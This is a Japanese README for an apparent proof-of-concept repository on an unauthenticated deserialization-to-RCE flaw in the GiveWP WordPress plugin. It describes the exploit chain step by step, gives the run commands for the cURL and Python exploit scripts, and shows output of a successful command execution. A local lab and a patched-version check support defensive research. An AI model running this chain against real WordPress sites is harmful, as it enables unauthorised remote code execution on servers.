
CVE-2026-82222(GiveWP WordPressプラグインにおける認証不要のPHPオブジェクトインジェクションからRCEに至る脆弱性)の概念実証およびローカルDDEVラボ。cURLとPythonのエクスプロイトスクリプト付き。
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-502 — 信頼できないデータのデシリアライズ |
| 影響を受けるバージョン | GiveWP (Donation Plugin) <= 4.16.7.1 |
| 修正済みバージョン | 4.16.7.2 |
| アドバイザリ | Patchstack |
許可されたテストのみ。 このリポジトリは教育、脆弱性研究、および自身が所有するか明示的にテストを許可されたシステムのテストを目的としています。許可なき使用は違法です。
このリポジトリは、セキュリティ専門家が CVE-2026-82222 を理解し、検出し、防御するための支援を目的としています。すべてのデモは、自身のマシン上で実行するローカルラボ(lab/)向けに設計されています。PoC はディスクに何も書き込まず、プラグイン設定も変更しません — コマンド出力はトリガーリクエストの HTTP レスポンスにのみ含まれます。完全なスコープと報告ポリシーについては SECURITY.md を参照してください。
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 脆弱性ラボ
│ ├── setup.sh # ワンコマンドでのラボ構築
│ ├── set-givewp-version.sh # 脆弱/修正済み GiveWP バージョンの切り替え
│ ├── .ddev/config.yaml # DDEV プロジェクト設定
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL エクスプロイトスクリプト
│ ├── poc.py # Python エクスプロイトスクリプト
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # 技術解説 + 到達可能性マトリクス
│ ├── BURP-MANUAL.md # Burp Repeater チュートリアル(リクエスト/レスポンス)
│ └── CURL-POC.md # コピー&ペースト可能な cURL チュートリアル
├── SECURITY.md # スコープ、報告、安全な使用ポリシー
└── LICENSE
4 つの未認証リクエストと 1 つのトリガー:
users_can_register を無視し、認証済み WP クッキーを発行します。TCPDF → Symfony Session → DonorFactory → system)をアカウントの last_name メタフィールドに保存します。give_last なしで寄付を送信します。GiveWP は DB から名前を取得し、allowed_classes=false でガジェットをアンシリアライズし、ライブオブジェクトグラフを wp_give_sessions にシリアライズします。unserialize() でセッションを読み戻します。TCPDF::__destruct() が call_user_func_array('system', [cmd]) に到達します。出力は HTTP レスポンスに現れ、ディスクには何も書き込まれません。詳細: docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# フォーム ID は最後に表示、ゲートウェイ: manual、WP 管理者: admin/<random>
Docker + DDEV が必要です。
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# フィンガープリントのみ(エクスプロイトなし)
python3 poc.py https://cve-2026-82222.ddev.site --check
両方の PoC は設計上単一ターゲットです — バッチや大量スキャンモードはありません。lab/ 内のラボ、またはテストを許可されたシステムに対してのみ実行してください。
成功時の出力例(コマンド id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # 修正済みビルド
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> チェーンが失敗; 出力なし
| GiveWP | ステータス |
|---|---|
| <= 4.16.5.1 | 脆弱 — デフォルトインストールで完全に到達可能 |
| 4.16.6 – 4.16.7.1 | 脆弱 — レガシー(非 V3)フォームが必要; 登録には give_register_nonce が必要 |
| 4.16.7.2 | 修正済み |
このリポジトリは教育および防御的セキュリティ研究目的のみで提供されています。含まれるコードは、防御側が検出を構築し、パッチを検証し、自身のシステムをテストできるよう、文書化された脆弱性を実証するものです。
著者は、この資料によるいかなる誤用や損害についても責任を負いません。明示的な許可なくいかなるシステムに対しても使用しないでください — そうすることは Computer Fraud and Abuse Act (CFAA) および世界中の同等の法律に違反する可能性があります。SECURITY.md を参照してください。
MIT — LICENSE を参照してください。